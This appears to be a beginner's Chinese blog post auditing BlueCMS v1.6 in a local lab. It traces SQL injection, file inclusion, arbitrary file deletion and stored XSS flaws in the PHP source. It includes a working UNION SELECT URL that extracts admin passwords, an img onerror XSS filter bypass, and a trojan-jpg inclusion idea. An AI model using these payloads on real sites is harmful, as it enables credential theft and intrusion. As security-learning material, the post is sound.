前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BlueCMS_V1.6:审计过程与漏洞分析

BlueCMS_V1.6:审计过程与漏洞分析

作者头像
黑白天安全
发布2021-03-16 10:45:00
2.4K0
发布2021-03-16 10:45:00
举报
文章被收录于专栏:黑白天安全团队

菜鸟入坑代码审计,听说BlueCMS比较合适初学者,特此学习,大佬勿喷

漏洞环境&搭建

本地环境搭建,使用phpstudy集成系统,CMS版本为BlueCMS_v1.6

访问install目录

下一步,查看数据库文件有没有生成

数据库有数据表显示,安装成功!

漏洞分析

丢进seay里面(新建项目->选择bluecms安装目录->自动审计->开始)

1.数字型SQL注入

产生此漏洞的文件为ad_js.php

seay显示19行的ad_id变量存在sql注入,而变量ad_id是从

trim():函数移除字符串两侧的空白字符或其他预定义字符。

而在ad_js.php文件的开头(第10行)引入了过滤文件require_once dirname(__FILE__) . '/include/common.inc.php';

查看common.inc.php文件, 发现对_POST,_GET,_COOKIE,_REQUEST传递的参数都进行了过滤

跟踪看看deep_addslashes是怎么实现的

代码语言:javascript
复制
function deep_addslashes($str)
{
    if(is_array($str))
{
        foreach($str as $key=>$val)
        {
            $str[$key] = deep_addslashes($val);
        }
}
    else
{
        $str = addslashes($str);    // 
}
    return $str;
}

使用addslashes过滤

代码语言:javascript
复制
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

可以看出上面的是个数字型注入,getone函数我们也追踪一下,代码在mysql.class.php

代码语言:javascript
复制
function getone($sql, $type=MYSQL_ASSOC){
    $query = $this->query($sql,$this->linkid);
    $row = mysql_fetch_array($query, $type);
    return $row;
}

是一个执行sql语句的函数,这里就确认存在数字型sql注入漏洞

漏洞复现:因为我们这里是白盒测试,所以直接提取一下管理的用户名和密码

http://www.bluecms16.com/ad_js.php?ad_id=1 UNION SELECT 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

38行输出的时候注释掉了,因此我们需要查看源代码

还要注意一下0x3a->:, 因为上面使用了addslashes函数,该函数会将单引号('),双引号("), 反斜杠(\)NULL进行转义,而使用编码就很好的绕过了!

2. INSERT型SQL注入

代码语言:javascript
复制
// include/common.fun.php 文件108行
function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
{
        $ip = getenv('HTTP_CLIENT_IP'); 
}
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
{ 
        $ip = getenv('HTTP_X_FORWARDED_FOR');
}
    elseif (getenv('HTTP_X_FORWARDED')) 
{ 
        $ip = getenv('HTTP_X_FORWARDED');
}
    elseif (getenv('HTTP_FORWARDED_FOR'))
{
        $ip = getenv('HTTP_FORWARDED_FOR'); 
}
    elseif (getenv('HTTP_FORWARDED'))
{
        $ip = getenv('HTTP_FORWARDED');
}
    else
{ 
        $ip = $_SERVER['REMOTE_ADDR'];
}
    return $ip;
}

由于第一分析中common.inc.php文件只对_POST,_GET,_COOKIE,_REQUEST进行了处理,但是遗漏了

phpstorm使用ctrl+shift+F搜索一下,看哪里调用了getip(), 如下图,我们跟进comment.php文件114行

代码语言:javascript
复制
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

这里我们也分析一下其他变量插入会不会产生漏洞

代码语言:javascript
复制
$id = !empty($_REQUEST['id']) ? intval($_REQUEST['id']) : '';
// intval函数进行了转义
代码语言:javascript
复制
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0; //session  略
代码语言:javascript
复制
$mood = intval($_POST['mood']);
// intval函数进行了转义
代码语言:javascript
复制
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
// 对comment内容做了html转义,所以不存在xss

看来我们还是只能利用getip()来触发漏洞

漏洞复现:

这里是对评论区进行的sql注入,因此我们需要新建一篇文章,然后在评论区测试(白盒测试,为了方便理解,我将sql语句输出了)

poc 构造思路如下:

插入两条数据的思路,进行构造(注入返回结果要显示在留言内容处)

3. 另一处INSERT型注入

在文件guest_book.php77行处

代码语言:javascript
复制
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);

这里有个$online_ip, 我们跟踪一下

代码语言:javascript
复制
// include/common.fun.php文件106行处
function getip()
{
   if (getenv('HTTP_CLIENT_IP'))
   {
      $ip = getenv('HTTP_CLIENT_IP'); 
   }
   elseif (getenv('HTTP_X_FORWARDED_FOR')) 
   { 
      $ip = getenv('HTTP_X_FORWARDED_FOR');
   }
   elseif (getenv('HTTP_X_FORWARDED')) 
   { 
      $ip = getenv('HTTP_X_FORWARDED');
   }
   elseif (getenv('HTTP_FORWARDED_FOR'))
   {
      $ip = getenv('HTTP_FORWARDED_FOR'); 
   }
   elseif (getenv('HTTP_FORWARDED'))
   {
      $ip = getenv('HTTP_FORWARDED');
   }
   else
   { 
      $ip = $_SERVER['REMOTE_ADDR'];
   }
   return $ip;
}

原理跟上面的sql注入一样,我们需要构造http头,加个X-FORWARDED-FOR

4.本地文件包含

漏洞发生在user.php文件750行处

$_POST['pay']并没有做多余的安全检测,而是直接进行拼接,但是后面有index.php文件,所以我们的重点是如何截断。如果php版本低于5.3.4magic_quotes_gpc=off则可以使用%00截断。还可以使用系统文件路径长度限制来进行截断。

这里我们使用系统文件路径长度的限制来截断:

代码语言:javascript
复制
Windows 259个字节
Linux 4096个字节

当然了,由于文件包含漏洞可以包含图片文件(例如jpg),而且服务器会解析图片文件(当作php文件执行),那么我们就可以上传一个带木马的jpg文件,然后利用文件包含漏洞包含此jpg文件。执行恶意代码。

具体利用步骤如下:

在个人资料编辑,上传头像处传jpg文件-> 使用包含漏洞包含此文件

5. 任意文件删除

漏洞发生在publish.php文件309行处

代码语言:javascript
复制
elseif($act == 'del_pic')
{
    $id = $_REQUEST['id'];
    $db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
    if(file_exists(BLUE_ROOT.$id))
 {
        @unlink(BLUE_ROOT.$id);
 }
}

第7行unlink删除文件,传入$id,先删除数据库里的,然后判断本地有没有此文件,如果有,unlink函数也对其进行删除

漏洞复现:

6. 另一处任意文件删除

漏洞触发在文件user.php中788行处

未做任何处理,直接导致任意文件删除漏洞

漏洞复现:

7.发布文章处XSS

user.php文件中的266行,有个对文章内容进行过滤

代码语言:javascript
复制
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';

跟进一下filter_data函数,看它过滤了什么(include/common.fun.php文件985行)

代码语言:javascript
复制
function filter_data($str)
{
   $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
   return $str;
}

就过滤了几个标签,我们可以用img标签绕过:<img src=1 onerror=alert('Tao')>

漏洞复现:

8. 用户注册处xss

user.php文件中的763行处

代码语言:javascript
复制
//编辑个人资料
 elseif($act == 'edit_user_info'){
     $user_id = intval($_SESSION['user_id']);
     if(empty($user_id)){
         return false;
 }
    $birthday = trim($_POST['birthday']);
    $sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
    $address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
     ..............
     ...............
     $sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," ." mobile_phone = '$mobile_phone', office_phone = '$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
    $db->query($sql);
    showmsg('更新个人资料成功', 'user.php');

$email只是经过了trim, 其余未作处理,存在xss

观察表结构,email长度是足够存储产生xss代码的

漏洞复现:

当管理登录后台,查看用户的时候,也会触发(可拿管理员cookie),且具有隐藏性。这里模拟一下管理员登录后台。

9. 后台大量漏洞

漏洞有点多,就先不写了?

结束语

第一次尝试cms审计,利用的方式写的也比较单一,还有一些漏洞没有一一列出来。这次入门级的BlueCMS审计算是自己入坑代码审计的第一步吧。同时也希望这篇文章可以帮助到像我一样的初学者。最后我还想说慢慢走比较快

文章中有什么不足和错误的地方还望师傅们指正。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞环境&搭建
  • 漏洞分析
    • 1.数字型SQL注入
      • 2. INSERT型SQL注入
        • 3. 另一处INSERT型注入
          • 4.本地文件包含
            • 5. 任意文件删除
              • 6. 另一处任意文件删除
                • 7.发布文章处XSS
                  • 8. 用户注册处xss
                    • 9. 后台大量漏洞
                    • 结束语
                    相关产品与服务
                    代码审计
                    代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档